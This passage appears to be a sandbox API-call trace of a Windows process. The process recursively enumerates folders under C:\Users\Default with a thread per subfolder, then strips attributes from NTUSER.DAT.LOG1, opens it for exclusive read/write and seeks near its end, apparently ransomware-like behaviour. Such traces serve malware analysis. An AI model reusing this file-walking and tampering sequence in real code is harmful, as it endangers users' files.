ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34343a8 [0063.574] wcscmp (_String1=".", _String2=".") returned 0 [0063.574] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x34281f0 | out: lpFindFileData=0x34281f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.575] wcscmp (_String1="..", _String2=".") returned 1 [0063.575] wcscmp (_String1="..", _String2="..") returned 0 [0063.575] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x34281f0 | out: lpFindFileData=0x34281f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0063.575] FindClose (in: hFindFile=0x34343a8 | out: hFindFile=0x34343a8) returned 1 [0063.575] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34281f0) returned 1 [0063.575] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434368) returned 1 [0063.575] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ae8) returned 1 [0063.575] RtlExitUserThread (Status=0x0) Thread: id = 295 os_tid = 0x1314 [0063.576] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fce90 [0063.576] wcscpy (in: _Dest=0x33fce90, _Source="C:\\Users\\Default\\Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0063.576] wcscat (in: _Dest=0x33fce90, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0063.576] wcscat (in: _Dest=0x33fce90, _Source="*" | out: _Dest="C:\\Users\\Default\\Documents\\*") returned="C:\\Users\\Default\\Documents\\*" [0063.576] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34281f0 [0063.576] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*", lpFindFileData=0x34281f0 | out: lpFindFileData=0x34281f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433868 [0063.947] wcscmp (_String1=".", _String2=".") returned 0 [0063.948] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x34281f0 | out: lpFindFileData=0x34281f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.948] wcscmp (_String1="..", _String2=".") returned 1 [0063.948] wcscmp (_String1="..", _String2="..") returned 0 [0063.948] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x34281f0 | out: lpFindFileData=0x34281f0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0063.948] wcscmp (_String1="My Music", _String2=".") returned 1 [0063.948] wcscmp (_String1="My Music", _String2="..") returned 1 [0063.948] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x3481528 [0063.948] wcscpy (in: _Dest=0x3481528, _Source="C:\\Users\\Default\\Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0063.948] wcscat (in: _Dest=0x3481528, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0063.948] wcscat (in: _Dest=0x3481528, _Source="My Music" | out: _Dest="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0067.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3481528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388 [0067.184] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x34281f0 | out: lpFindFileData=0x34281f0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0067.184] wcscmp (_String1="My Pictures", _String2=".") returned 1 [0067.184] wcscmp (_String1="My Pictures", _String2="..") returned 1 [0067.184] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x3430c80 [0067.184] wcscpy (in: _Dest=0x3430c80, _Source="C:\\Users\\Default\\Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0067.184] wcscat (in: _Dest=0x3430c80, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0067.184] wcscat (in: _Dest=0x3430c80, _Source="My Pictures" | out: _Dest="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0067.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c [0067.185] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x34281f0 | out: lpFindFileData=0x34281f0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0067.185] wcscmp (_String1="My Videos", _String2=".") returned 1 [0067.185] wcscmp (_String1="My Videos", _String2="..") returned 1 [0067.185] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x3430b20 [0067.185] wcscpy (in: _Dest=0x3430b20, _Source="C:\\Users\\Default\\Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0067.185] wcscat (in: _Dest=0x3430b20, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0067.185] wcscat (in: _Dest=0x3430b20, _Source="My Videos" | out: _Dest="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0067.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430b20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518 [0067.186] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x34281f0 | out: lpFindFileData=0x34281f0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0067.186] FindClose (in: hFindFile=0x3433868 | out: hFindFile=0x3433868) returned 1 [0067.186] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34281f0) returned 1 [0067.186] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce90) returned 1 [0067.186] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433828) returned 1 [0067.186] RtlExitUserThread (Status=0x0) Thread: id = 296 os_tid = 0x1318 [0063.578] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fced8 [0063.578] wcscpy (in: _Dest=0x33fced8, _Source="C:\\Users\\Default\\Downloads" | out: _Dest="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0063.578] wcscat (in: _Dest=0x33fced8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Downloads\\") returned="C:\\Users\\Default\\Downloads\\" [0063.578] wcscat (in: _Dest=0x33fced8, _Source="*" | out: _Dest="C:\\Users\\Default\\Downloads\\*") returned="C:\\Users\\Default\\Downloads\\*" [0063.578] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34286c0 [0063.578] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*", lpFindFileData=0x34286c0 | out: lpFindFileData=0x34286c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ae8 [0063.578] wcscmp (_String1=".", _String2=".") returned 0 [0063.578] FindNextFileW (in: hFindFile=0x3433ae8, lpFindFileData=0x34286c0 | out: lpFindFileData=0x34286c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.578] wcscmp (_String1="..", _String2=".") returned 1 [0063.578] wcscmp (_String1="..", _String2="..") returned 0 [0063.578] FindNextFileW (in: hFindFile=0x3433ae8, lpFindFileData=0x34286c0 | out: lpFindFileData=0x34286c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f66782, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0063.578] FindClose (in: hFindFile=0x3433ae8 | out: hFindFile=0x3433ae8) returned 1 [0063.579] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34286c0) returned 1 [0063.579] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fced8) returned 1 [0063.579] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433a68) returned 1 [0063.579] RtlExitUserThread (Status=0x0) Thread: id = 297 os_tid = 0x131c [0063.580] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fced8 [0063.580] wcscpy (in: _Dest=0x33fced8, _Source="C:\\Users\\Default\\Favorites" | out: _Dest="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0063.580] wcscat (in: _Dest=0x33fced8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0063.580] wcscat (in: _Dest=0x33fced8, _Source="*" | out: _Dest="C:\\Users\\Default\\Favorites\\*") returned="C:\\Users\\Default\\Favorites\\*" [0063.580] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34286c0 [0063.580] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*", lpFindFileData=0x34286c0 | out: lpFindFileData=0x34286c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433aa8 [0064.638] wcscmp (_String1=".", _String2=".") returned 0 [0064.638] FindNextFileW (in: hFindFile=0x3433aa8, lpFindFileData=0x34286c0 | out: lpFindFileData=0x34286c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.638] wcscmp (_String1="..", _String2=".") returned 1 [0064.638] wcscmp (_String1="..", _String2="..") returned 0 [0064.638] FindNextFileW (in: hFindFile=0x3433aa8, lpFindFileData=0x34286c0 | out: lpFindFileData=0x34286c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb8e09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0064.638] FindClose (in: hFindFile=0x3433aa8 | out: hFindFile=0x3433aa8) returned 1 [0064.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34286c0) returned 1 [0064.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fced8) returned 1 [0064.638] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433e28) returned 1 [0064.638] RtlExitUserThread (Status=0x0) Thread: id = 298 os_tid = 0x1320 [0063.580] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x32) returned 0x3433a68 [0063.580] wcscpy (in: _Dest=0x3433a68, _Source="C:\\Users\\Default\\Links" | out: _Dest="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0063.580] wcscat (in: _Dest=0x3433a68, _Source="\\" | out: _Dest="C:\\Users\\Default\\Links\\") returned="C:\\Users\\Default\\Links\\" [0063.580] wcscat (in: _Dest=0x3433a68, _Source="*" | out: _Dest="C:\\Users\\Default\\Links\\*") returned="C:\\Users\\Default\\Links\\*" [0063.581] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3428928 [0063.581] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*", lpFindFileData=0x3428928 | out: lpFindFileData=0x3428928*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433968 [0063.948] wcscmp (_String1=".", _String2=".") returned 0 [0063.948] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x3428928 | out: lpFindFileData=0x3428928*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.948] wcscmp (_String1="..", _String2=".") returned 1 [0063.948] wcscmp (_String1="..", _String2="..") returned 0 [0063.948] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x3428928 | out: lpFindFileData=0x3428928*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0063.948] FindClose (in: hFindFile=0x3433968 | out: hFindFile=0x3433968) returned 1 [0063.949] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428928) returned 1 [0063.949] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433a68) returned 1 [0063.949] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e97f8) returned 1 [0063.949] RtlExitUserThread (Status=0x0) Thread: id = 299 os_tid = 0x1324 [0063.581] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x44) returned 0x3481168 [0063.581] wcscpy (in: _Dest=0x3481168, _Source="C:\\Users\\Default\\Local Settings" | out: _Dest="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0063.581] wcscat (in: _Dest=0x3481168, _Source="\\" | out: _Dest="C:\\Users\\Default\\Local Settings\\") returned="C:\\Users\\Default\\Local Settings\\" [0063.581] wcscat (in: _Dest=0x3481168, _Source="*" | out: _Dest="C:\\Users\\Default\\Local Settings\\*") returned="C:\\Users\\Default\\Local Settings\\*" [0063.581] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429a00 [0063.581] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*", lpFindFileData=0x3429a00 | out: lpFindFileData=0x3429a00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0064.307] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429a00) returned 1 [0064.307] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481168) returned 1 [0064.307] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd0d0) returned 1 [0064.307] RtlExitUserThread (Status=0x0) Thread: id = 300 os_tid = 0x1328 [0063.582] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x32) returned 0x3433ae8 [0063.582] wcscpy (in: _Dest=0x3433ae8, _Source="C:\\Users\\Default\\Music" | out: _Dest="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0063.582] wcscat (in: _Dest=0x3433ae8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Music\\") returned="C:\\Users\\Default\\Music\\" [0063.582] wcscat (in: _Dest=0x3433ae8, _Source="*" | out: _Dest="C:\\Users\\Default\\Music\\*") returned="C:\\Users\\Default\\Music\\*" [0063.582] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3428b90 [0063.582] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*", lpFindFileData=0x3428b90 | out: lpFindFileData=0x3428b90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433aa8 [0064.634] wcscmp (_String1=".", _String2=".") returned 0 [0064.634] FindNextFileW (in: hFindFile=0x3433aa8, lpFindFileData=0x3428b90 | out: lpFindFileData=0x3428b90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.634] wcscmp (_String1="..", _String2=".") returned 1 [0064.634] wcscmp (_String1="..", _String2="..") returned 0 [0064.634] FindNextFileW (in: hFindFile=0x3433aa8, lpFindFileData=0x3428b90 | out: lpFindFileData=0x3428b90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0064.634] FindClose (in: hFindFile=0x3433aa8 | out: hFindFile=0x3433aa8) returned 1 [0064.634] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428b90) returned 1 [0064.634] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ae8) returned 1 [0064.634] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9248) returned 1 [0064.634] RtlExitUserThread (Status=0x0) Thread: id = 301 os_tid = 0x132c [0063.582] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcf20 [0063.582] wcscpy (in: _Dest=0x33fcf20, _Source="C:\\Users\\Default\\My Documents" | out: _Dest="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0063.582] wcscat (in: _Dest=0x33fcf20, _Source="\\" | out: _Dest="C:\\Users\\Default\\My Documents\\") returned="C:\\Users\\Default\\My Documents\\" [0063.582] wcscat (in: _Dest=0x33fcf20, _Source="*" | out: _Dest="C:\\Users\\Default\\My Documents\\*") returned="C:\\Users\\Default\\My Documents\\*" [0063.582] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3428df8 [0063.582] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*", lpFindFileData=0x3428df8 | out: lpFindFileData=0x3428df8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0064.308] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428df8) returned 1 [0064.308] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcf20) returned 1 [0064.309] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd118) returned 1 [0064.309] RtlExitUserThread (Status=0x0) Thread: id = 302 os_tid = 0x1330 [0063.583] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434368 [0063.583] wcscpy (in: _Dest=0x3434368, _Source="C:\\Users\\Default\\NetHood" | out: _Dest="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0063.583] wcscat (in: _Dest=0x3434368, _Source="\\" | out: _Dest="C:\\Users\\Default\\NetHood\\") returned="C:\\Users\\Default\\NetHood\\" [0063.583] wcscat (in: _Dest=0x3434368, _Source="*" | out: _Dest="C:\\Users\\Default\\NetHood\\*") returned="C:\\Users\\Default\\NetHood\\*" [0063.583] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3429060 [0063.583] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*", lpFindFileData=0x3429060 | out: lpFindFileData=0x3429060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0064.309] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429060) returned 1 [0064.309] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434368) returned 1 [0064.309] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433b68) returned 1 [0064.309] RtlExitUserThread (Status=0x0) Thread: id = 303 os_tid = 0x1334 [0063.584] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1" (normalized: "c:\\users\\default\\ntuser.dat.log1")) returned 0x26 [0064.636] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1", dwFileAttributes=0x20) returned 1 [0066.924] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1" (normalized: "c:\\users\\default\\ntuser.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0067.027] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0xe5bfa10 | out: lpFileSize=0xe5bfa10*=32768) returned 1 [0067.027] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x7ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.027] ReadFile (in: hFile=0x3b0, lpBuffer=0xe5bf9e4, 